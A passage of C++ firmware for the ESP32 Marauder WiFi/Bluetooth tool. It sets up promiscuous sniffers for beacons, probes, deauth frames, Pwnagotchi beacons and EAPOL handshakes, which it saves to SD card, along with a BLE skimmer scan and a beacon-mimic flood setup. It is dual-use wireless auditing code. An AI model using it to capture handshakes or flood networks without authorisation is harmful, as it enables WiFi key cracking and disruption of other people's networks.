  581. display_obj.tft.println(F(text17));
  582. display_obj.tft.println(F(text_table4[17]));
  583. #endif
  584. }
  585. }
  586. void WiFiScan::RunShutdownBLE() {
  587. #ifdef HAS_SCREEN
  588. display_obj.tft.setTextWrap(false);
  589. display_obj.tft.setFreeFont(NULL);
  590. display_obj.tft.setCursor(0, 100);
  591. display_obj.tft.setTextSize(1);
  592. display_obj.tft.setTextColor(TFT_CYAN);
  593. display_obj.tft.print(F(text_table4[18]));
  594. #endif
  595. if (this->ble_initialized) {
  596. this->shutdownBLE();
  597. #ifdef HAS_SCREEN
  598. display_obj.tft.setTextColor(TFT_GREEN);
  599. display_obj.tft.println(F("OK"));
  600. #endif
  601. }
  602. else {
  603. #ifdef HAS_SCREEN
  604. display_obj.tft.setTextColor(TFT_RED);
  605. display_obj.tft.println(F(text17));
  606. display_obj.tft.println(F(text_table4[19]));
  607. #endif
  608. }
  609. }
  610. void WiFiScan::RunInfo()
  611. {
  612. String sta_mac = this->getStaMAC();
  613. String ap_mac = this->getApMAC();
  614. String free_ram = this->freeRAM();
  615. //Serial.print("STA MAC: ");
  616. //Serial.println(sta_mac);
  617. //Serial.print("AP MAC: ");
  618. //Serial.println(ap_mac);
  619. Serial.println(free_ram);
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.setTextWrap(false);
  622. display_obj.tft.setFreeFont(NULL);
  623. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  624. display_obj.tft.setTextSize(1);
  625. display_obj.tft.setTextColor(TFT_CYAN);
  626. display_obj.tft.println(text_table4[20]);
  627. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  628. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  629. #endif
  630. if (this->wsl_bypass_enabled) {
  631. #ifdef HAS_SCREEN
  632. display_obj.tft.println(text_table4[23]);
  633. #endif
  634. }
  635. else {
  636. #ifdef HAS_SCREEN
  637. display_obj.tft.println(text_table4[24]);
  638. #endif
  639. }
  640. #ifdef HAS_SCREEN
  641. display_obj.tft.println(text_table4[25] + sta_mac);
  642. display_obj.tft.println(text_table4[26] + ap_mac);
  643. display_obj.tft.println(text_table4[27] + free_ram);
  644. #endif
  645. if (sd_obj.supported) {
  646. #ifdef HAS_SCREEN
  647. display_obj.tft.println(text_table4[28]);
  648. display_obj.tft.print(text_table4[29]);
  649. display_obj.tft.print(sd_obj.card_sz);
  650. display_obj.tft.println("MB");
  651. #endif
  652. }
  653. else {
  654. #ifdef HAS_SCREEN
  655. display_obj.tft.println(text_table4[30]);
  656. display_obj.tft.println(text_table4[31]);
  657. #endif
  658. }
  659. battery_obj.battery_level = battery_obj.getBatteryLevel();
  660. if (battery_obj.i2c_supported) {
  661. #ifdef HAS_SCREEN
  662. display_obj.tft.println(text_table4[32]);
  663. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  664. #endif
  665. }
  666. else {
  667. #ifdef HAS_SCREEN
  668. display_obj.tft.println(text_table4[34]);
  669. #endif
  670. }
  671. #ifdef HAS_SCREEN
  672. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  673. #endif
  674. }
  675. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  676. sd_obj.openCapture("espressif");
  677. #ifdef MARAUDER_FLIPPER
  678. flipper_led.sniffLED();
  679. #else
  680. led_obj.setMode(MODE_SNIFF);
  681. #endif
  682. #ifdef HAS_SCREEN
  683. display_obj.TOP_FIXED_AREA_2 = 48;
  684. display_obj.tteBar = true;
  685. display_obj.print_delay_1 = 15;
  686. display_obj.print_delay_2 = 10;
  687. display_obj.initScrollValues(true);
  688. display_obj.tft.setTextWrap(false);
  689. display_obj.tft.setTextColor(TFT_WHITE, color);
  690. #ifndef MARAUDER_MINI
  691. display_obj.tft.fillRect(0,16,240,16, color);
  692. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  693. display_obj.touchToExit();
  694. #endif
  695. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  696. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  697. #endif
  698. esp_wifi_init(&cfg);
  699. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  700. esp_wifi_set_mode(WIFI_MODE_NULL);
  701. esp_wifi_start();
  702. esp_wifi_set_promiscuous(true);
  703. esp_wifi_set_promiscuous_filter(&filt);
  704. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  705. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  706. this->wifi_initialized = true;
  707. initTime = millis();
  708. }
  709. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  710. {
  711. #ifdef MARAUDER_FLIPPER
  712. flipper_led.sniffLED();
  713. #else
  714. led_obj.setMode(MODE_SNIFF);
  715. #endif
  716. sd_obj.openCapture("packet_monitor");
  717. #ifndef MARAUDER_MINI
  718. #ifdef HAS_SCREEN
  719. display_obj.tft.init();
  720. display_obj.tft.setRotation(1);
  721. display_obj.tft.fillScreen(TFT_BLACK);
  722. #endif
  723. #ifdef HAS_SCREEN
  724. #ifdef TFT_SHIELD
  725. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  726. Serial.println("Using TFT Shield");
  727. #else if defined(TFT_DIY)
  728. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  729. Serial.println("Using TFT DIY");
  730. #endif
  731. display_obj.tft.setTouch(calData);
  732. //display_obj.tft.setFreeFont(1);
  733. display_obj.tft.setFreeFont(NULL);
  734. display_obj.tft.setTextSize(1);
  735. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  736. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  737. delay(10);
  738. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  739. display_obj.tftDrawColorKey();
  740. display_obj.tftDrawXScaleButtons(x_scale);
  741. display_obj.tftDrawYScaleButtons(y_scale);
  742. display_obj.tftDrawChannelScaleButtons(set_channel);
  743. display_obj.tftDrawExitScaleButtons();
  744. #endif
  745. #else
  746. #ifdef HAS_SCREEN
  747. display_obj.TOP_FIXED_AREA_2 = 48;
  748. display_obj.tteBar = true;
  749. display_obj.print_delay_1 = 15;
  750. display_obj.print_delay_2 = 10;
  751. display_obj.initScrollValues(true);
  752. display_obj.tft.setTextWrap(false);
  753. display_obj.tft.setTextColor(TFT_WHITE, color);
  754. #ifndef MARAUDER_MINI
  755. display_obj.tft.fillRect(0,16,240,16, color);
  756. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  757. display_obj.touchToExit();
  758. #endif
  759. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  760. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  761. #endif
  762. #endif
  763. Serial.println("Running packet scan...");
  764. esp_wifi_init(&cfg);
  765. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  766. esp_wifi_set_mode(WIFI_MODE_NULL);
  767. esp_wifi_start();
  768. esp_wifi_set_promiscuous(true);
  769. esp_wifi_set_promiscuous_filter(&filt);
  770. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  771. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  772. this->wifi_initialized = true;
  773. uint32_t initTime = millis();
  774. }
  775. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  776. {
  777. #ifdef MARAUDER_FLIPPER
  778. flipper_led.sniffLED();
  779. #else
  780. led_obj.setMode(MODE_SNIFF);
  781. #endif
  782. num_eapol = 0;
  783. #ifndef MARAUDER_MINI
  784. #ifdef HAS_SCREEN
  785. display_obj.tft.init();
  786. display_obj.tft.setRotation(1);
  787. display_obj.tft.fillScreen(TFT_BLACK);
  788. #endif
  789. sd_obj.openCapture("eapol");
  790. #ifdef HAS_SCREEN
  791. #ifdef TFT_SHIELD
  792. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  793. //Serial.println("Using TFT Shield");
  794. #else if defined(TFT_DIY)
  795. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  796. //Serial.println("Using TFT DIY");
  797. #endif
  798. display_obj.tft.setTouch(calData);
  799. display_obj.tft.setFreeFont(NULL);
  800. display_obj.tft.setTextSize(1);
  801. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  802. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  803. delay(10);
  804. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  805. display_obj.tftDrawEapolColorKey();
  806. display_obj.tftDrawChannelScaleButtons(set_channel);
  807. display_obj.tftDrawExitScaleButtons();
  808. #endif
  809. #else
  810. sd_obj.openCapture("eapol");
  811. #ifdef HAS_SCREEN
  812. display_obj.TOP_FIXED_AREA_2 = 48;
  813. display_obj.tteBar = true;
  814. display_obj.print_delay_1 = 15;
  815. display_obj.print_delay_2 = 10;
  816. display_obj.initScrollValues(true);
  817. display_obj.tft.setTextWrap(false);
  818. display_obj.tft.setTextColor(TFT_WHITE, color);
  819. #ifndef MARAUDER_MINI
  820. display_obj.tft.fillRect(0,16,240,16, color);
  821. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  822. display_obj.touchToExit();
  823. #endif
  824. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  825. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  826. #endif
  827. #endif
  828. esp_wifi_init(&cfg);
  829. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  830. esp_wifi_set_mode(WIFI_MODE_AP);
  831. esp_err_t err;
  832. wifi_config_t conf;
  833. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  834. if (err != 0)
  835. {
  836. Serial.print("could not set protocol : err=0x");
  837. Serial.println(err, HEX);
  838. }
  839. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  840. conf.ap.ssid[0] = '\0';
  841. conf.ap.ssid_len = 0;
  842. conf.ap.channel = this->set_channel;
  843. conf.ap.ssid_hidden = 1;
  844. conf.ap.max_connection = 0;
  845. conf.ap.beacon_interval = 60000;
  846. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  847. if (err != 0)
  848. {
  849. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  850. Serial.println(err, HEX);
  851. }
  852. esp_wifi_start();
  853. esp_wifi_set_promiscuous(true);
  854. esp_wifi_set_promiscuous_filter(&filt);
  855. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  856. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  857. else
  858. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  859. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  860. this->wifi_initialized = true;
  861. initTime = millis();
  862. }
  863. // Function to prepare for beacon mimic
  864. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  865. #ifdef HAS_SCREEN
  866. display_obj.TOP_FIXED_AREA_2 = 48;
  867. display_obj.tteBar = true;
  868. display_obj.print_delay_1 = 15;
  869. display_obj.print_delay_2 = 10;
  870. display_obj.initScrollValues(true);
  871. display_obj.tft.setTextWrap(false);
  872. display_obj.tft.setTextColor(TFT_BLACK, color);
  873. #ifndef MARAUDER_MINI
  874. display_obj.tft.fillRect(0,16,240,16, color);
  875. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  876. display_obj.touchToExit();
  877. #endif
  878. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  879. #endif
  880. packets_sent = 0;
  881. esp_wifi_init(&cfg);
  882. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  883. esp_wifi_set_mode(WIFI_AP_STA);
  884. esp_wifi_start();
  885. esp_wifi_set_promiscuous_filter(NULL);
  886. esp_wifi_set_promiscuous(true);
  887. esp_wifi_set_max_tx_power(78);
  888. this->wifi_initialized = true;
  889. initTime = millis();
  890. }
  891. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  892. {
  893. sd_obj.openCapture("pwnagotchi");
  894. #ifdef MARAUDER_FLIPPER
  895. flipper_led.sniffLED();
  896. #else
  897. led_obj.setMode(MODE_SNIFF);
  898. #endif
  899. #ifdef HAS_SCREEN
  900. display_obj.TOP_FIXED_AREA_2 = 48;
  901. display_obj.tteBar = true;
  902. display_obj.print_delay_1 = 15;
  903. display_obj.print_delay_2 = 10;
  904. display_obj.initScrollValues(true);
  905. display_obj.tft.setTextWrap(false);
  906. display_obj.tft.setTextColor(TFT_WHITE, color);
  907. #ifndef MARAUDER_MINI
  908. display_obj.tft.fillRect(0,16,240,16, color);
  909. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  910. display_obj.touchToExit();
  911. #endif
  912. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  913. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  914. #endif
  915. esp_wifi_init(&cfg);
  916. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  917. esp_wifi_set_mode(WIFI_MODE_NULL);
  918. esp_wifi_start();
  919. esp_wifi_set_promiscuous(true);
  920. esp_wifi_set_promiscuous_filter(&filt);
  921. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  922. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  923. this->wifi_initialized = true;
  924. initTime = millis();
  925. }
  926. // Function to start running a beacon scan
  927. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  928. {
  929. sd_obj.openCapture("beacon");
  930. #ifdef MARAUDER_FLIPPER
  931. flipper_led.sniffLED();
  932. #else
  933. led_obj.setMode(MODE_SNIFF);
  934. #endif
  935. #ifdef HAS_SCREEN
  936. display_obj.TOP_FIXED_AREA_2 = 48;
  937. display_obj.tteBar = true;
  938. display_obj.print_delay_1 = 15;
  939. display_obj.print_delay_2 = 10;
  940. display_obj.initScrollValues(true);
  941. display_obj.tft.setTextWrap(false);
  942. display_obj.tft.setTextColor(TFT_WHITE, color);
  943. #ifndef MARAUDER_MINI
  944. display_obj.tft.fillRect(0,16,240,16, color);
  945. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  946. display_obj.touchToExit();
  947. #endif
  948. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  949. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  950. #endif
  951. esp_wifi_init(&cfg);
  952. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  953. esp_wifi_set_mode(WIFI_MODE_NULL);
  954. esp_wifi_start();
  955. esp_wifi_set_promiscuous(true);
  956. esp_wifi_set_promiscuous_filter(&filt);
  957. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  958. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  959. this->wifi_initialized = true;
  960. initTime = millis();
  961. }
  962. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  963. {
  964. sd_obj.openCapture("raw");
  965. #ifdef MARAUDER_FLIPPER
  966. flipper_led.sniffLED();
  967. #else
  968. led_obj.setMode(MODE_SNIFF);
  969. #endif
  970. #ifdef HAS_SCREEN
  971. display_obj.TOP_FIXED_AREA_2 = 48;
  972. display_obj.tteBar = true;
  973. display_obj.print_delay_1 = 15;
  974. display_obj.print_delay_2 = 10;
  975. display_obj.initScrollValues(true);
  976. display_obj.tft.setTextWrap(false);
  977. display_obj.tft.setTextColor(TFT_WHITE, color);
  978. #ifndef MARAUDER_MINI
  979. display_obj.tft.fillRect(0,16,240,16, color);
  980. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  981. display_obj.touchToExit();
  982. #endif
  983. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  984. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  985. #endif
  986. esp_wifi_init(&cfg);
  987. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  988. esp_wifi_set_mode(WIFI_MODE_NULL);
  989. esp_wifi_start();
  990. esp_wifi_set_promiscuous(true);
  991. esp_wifi_set_promiscuous_filter(&filt);
  992. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  993. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  994. this->wifi_initialized = true;
  995. initTime = millis();
  996. }
  997. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  998. {
  999. sd_obj.openCapture("deauth");
  1000. #ifdef MARAUDER_FLIPPER
  1001. flipper_led.sniffLED();
  1002. #else
  1003. led_obj.setMode(MODE_SNIFF);
  1004. #endif
  1005. #ifdef HAS_SCREEN
  1006. display_obj.TOP_FIXED_AREA_2 = 48;
  1007. display_obj.tteBar = true;
  1008. display_obj.print_delay_1 = 15;
  1009. display_obj.print_delay_2 = 10;
  1010. display_obj.initScrollValues(true);
  1011. display_obj.tft.setTextWrap(false);
  1012. display_obj.tft.setTextColor(TFT_BLACK, color);
  1013. #ifndef MARAUDER_MINI
  1014. display_obj.tft.fillRect(0,16,240,16, color);
  1015. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  1016. display_obj.touchToExit();
  1017. #endif
  1018. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  1019. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1020. #endif
  1021. esp_wifi_init(&cfg);
  1022. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1023. esp_wifi_set_mode(WIFI_MODE_NULL);
  1024. esp_wifi_start();
  1025. esp_wifi_set_promiscuous(true);
  1026. esp_wifi_set_promiscuous_filter(&filt);
  1027. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1028. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1029. this->wifi_initialized = true;
  1030. initTime = millis();
  1031. }
  1032. // Function for running probe request scan
  1033. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1034. {
  1035. sd_obj.openCapture("probe");
  1036. #ifdef MARAUDER_FLIPPER
  1037. flipper_led.sniffLED();
  1038. #else
  1039. led_obj.setMode(MODE_SNIFF);
  1040. #endif
  1041. #ifdef HAS_SCREEN
  1042. display_obj.TOP_FIXED_AREA_2 = 48;
  1043. display_obj.tteBar = true;
  1044. display_obj.print_delay_1 = 15;
  1045. display_obj.print_delay_2 = 10;
  1046. display_obj.initScrollValues(true);
  1047. display_obj.tft.setTextWrap(false);
  1048. display_obj.tft.setTextColor(TFT_BLACK, color);
  1049. #ifndef MARAUDER_MINI
  1050. display_obj.tft.fillRect(0,16,240,16, color);
  1051. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1052. display_obj.touchToExit();
  1053. #endif
  1054. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1055. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1056. #endif
  1057. esp_wifi_init(&cfg);
  1058. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1059. esp_wifi_set_mode(WIFI_MODE_NULL);
  1060. esp_wifi_start();
  1061. esp_wifi_set_promiscuous(true);
  1062. esp_wifi_set_promiscuous_filter(&filt);
  1063. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1064. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1065. this->wifi_initialized = true;
  1066. initTime = millis();
  1067. }
  1068. // Function to start running any BLE scan
  1069. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1070. {
  1071. #ifdef HAS_BT
  1072. #ifdef HAS_SCREEN
  1073. display_obj.print_delay_1 = 50;
  1074. display_obj.print_delay_2 = 20;
  1075. #endif
  1076. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1077. NimBLEDevice::setScanDuplicateCacheSize(200);
  1078. NimBLEDevice::init("");
  1079. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1080. if (scan_mode == BT_SCAN_ALL)
  1081. {
  1082. #ifdef HAS_SCREEN
  1083. display_obj.TOP_FIXED_AREA_2 = 48;
  1084. display_obj.tteBar = true;
  1085. display_obj.initScrollValues(true);
  1086. display_obj.tft.setTextWrap(false);
  1087. display_obj.tft.setTextColor(TFT_BLACK, color);
  1088. #ifndef MARAUDER_MINI
  1089. display_obj.tft.fillRect(0,16,240,16, color);
  1090. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1091. display_obj.touchToExit();
  1092. #endif
  1093. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1094. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1095. #endif
  1096. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1097. }
  1098. else if (scan_mode == BT_SCAN_SKIMMERS)
  1099. {
  1100. #ifdef HAS_SCREEN
  1101. display_obj.TOP_FIXED_AREA_2 = 160;
  1102. display_obj.tteBar = true;
  1103. display_obj.tft.fillScreen(TFT_DARKGREY);
  1104. display_obj.initScrollValues(true);
  1105. display_obj.tft.setTextWrap(false);
  1106. display_obj.tft.setTextColor(TFT_BLACK, color);
  1107. display_obj.tft.fillRect(0,16,240,16, color);
  1108. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1109. display_obj.twoPartDisplay(text_table4[43]);
  1110. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1111. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1112. #endif
  1113. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1114. }
  1115. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1116. pBLEScan->setInterval(97);
  1117. pBLEScan->setWindow(37); // less or equal setInterval value
  1118. pBLEScan->setMaxResults(0);
  1119. pBLEScan->start(0, scanCompleteCB, false);
  1120. Serial.println("Started BLE Scan");
  1121. this->ble_initialized = true;
  1122. initTime = millis();
  1123. #endif
  1124. }
  1125. // Function that is called when BLE scan is completed
  1126. #ifdef HAS_BT
  1127. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1128. printf("Scan complete!\n");
  1129. printf("Found %d devices\n", scanResults.getCount());
  1130. scanResults.dump();
  1131. } // scanCompleteCB
  1132. #endif
  1133. // Function to extract MAC addr from a packet at given offset
  1134. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1135. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1136. }
  1137. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1138. {
  1139. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1140. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1141. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1142. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1143. int len = snifferPacket->rx_ctrl.sig_len;
  1144. String display_string = "";
  1145. String src_addr_string = "";
  1146. if (type == WIFI_PKT_MGMT)
  1147. {
  1148. len -= 4;
  1149. }
  1150. int fctl = ntohs(frameControl->fctl);
  1151. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1152. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1153. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1154. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1155. //{
  1156. char addr[] = "00:00:00:00:00:00";
  1157. getMAC(addr, snifferPacket->payload, 10);
  1158. src_addr_string.concat(addr);
  1159. bool match = false;
  1160. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1161. if (src_addr_string.startsWith(espressif_macs[i])) {
  1162. match = true;
  1163. break;
  1164. }
  1165. }
  1166. if (!match)
  1167. return;
  1168. delay(random(0, 10));
  1169. Serial.print("RSSI: ");
  1170. Serial.print(snifferPacket->rx_ctrl.rssi);
  1171. Serial.print(" Ch: ");
  1172. Serial.print(snifferPacket->rx_ctrl.channel);
  1173. Serial.print(" BSSID: ");
  1174. Serial.print(addr);
  1175. //display_string.concat(" RSSI: ");
  1176. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1177. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1178. //display_string.concat(" ");
  1179. display_string.concat(" -> ");
  1180. display_string.concat(addr);
  1181. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1182. {
  1183. display_string.concat(" ");
  1184. }
  1185. Serial.print(" ");
  1186. #ifdef HAS_SCREEN
  1187. display_obj.loading = true;
  1188. display_obj.display_buffer->add(display_string);
  1189. display_obj.loading = false;
  1190. #endif
  1191. Serial.println();
  1192. if (save_packet)
  1193. sd_obj.addPacket(snifferPacket->payload, len);
  1194. //}
  1195. }
  1196. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1197. {
  1198. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1199. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1200. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1201. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1202. int len = snifferPacket->rx_ctrl.sig_len;
  1203. String display_string = "";
  1204. String src = "";
  1205. String essid = "";
  1206. if (type == WIFI_PKT_MGMT)
  1207. {
  1208. len -= 4;
  1209. int fctl = ntohs(frameControl->fctl);
  1210. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1211. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1212. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1213. #ifdef HAS_SCREEN
  1214. int buf = display_obj.display_buffer->size();
  1215. #else
  1216. int buf = 0;
  1217. #endif
  1218. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1219. {
  1220. char addr[] = "00:00:00:00:00:00";
  1221. getMAC(addr, snifferPacket->payload, 10);
  1222. src.concat(addr);
  1223. if (src == "de:ad:be:ef:de:ad") {
  1224. delay(random(0, 10));
  1225. Serial.print("RSSI: ");
  1226. Serial.print(snifferPacket->rx_ctrl.rssi);
  1227. Serial.print(" Ch: ");
  1228. Serial.print(snifferPacket->rx_ctrl.channel);
  1229. Serial.print(" BSSID: ");
  1230. Serial.print(addr);
  1231. //display_string.concat(addr);
  1232. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1233. Serial.print(" ESSID: ");
  1234. display_string.concat(" -> ");
  1235. // Just grab the first 255 bytes of the pwnagotchi beacon
  1236. // because that is where the name is
  1237. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1238. for (int i = 0; i < len - 37; i++)
  1239. {
  1240. Serial.print((char)snifferPacket->payload[i + 38]);
  1241. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1242. if (isAscii(snifferPacket->payload[i + 38]))
  1243. essid.concat((char)snifferPacket->payload[i + 38]);
  1244. else
  1245. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1246. }
  1247. //essid.concat("\": \"\"}}");
  1248. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1249. // Load json
  1250. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1251. DynamicJsonDocument json(1024); // ArduinoJson v6
  1252. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1253. // ArduinoJson v6
  1254. if (deserializeJson(json, essid)) {
  1255. Serial.println("\nCould not parse Pwnagotchi json");
  1256. display_string.concat(essid);
  1257. }
  1258. else {
  1259. Serial.println("\nSuccessfully parsed json");
  1260. String json_output;
  1261. //json.printTo(json_output); // ArduinoJson v5
  1262. serializeJson(json, json_output); // ArduinoJson v6
  1263. Serial.println(json_output);
  1264. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1265. }
  1266. int temp_len = display_string.length();
  1267. for (int i = 0; i < 40 - temp_len; i++)
  1268. {
  1269. display_string.concat(" ");
  1270. }
  1271. Serial.print(" ");
  1272. #ifdef HAS_SCREEN
  1273. if (display_obj.display_buffer->size() == 0)
  1274. {
  1275. display_obj.loading = true;
  1276. display_obj.display_buffer->add(display_string);
  1277. display_obj.loading = false;
  1278. }
  1279. #endif
  1280. Serial.println();
  1281. if (save_packet)
  1282. sd_obj.addPacket(snifferPacket->payload, len);
  1283. }
  1284. }
  1285. }
  1286. }
  1287. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1288. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1289. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
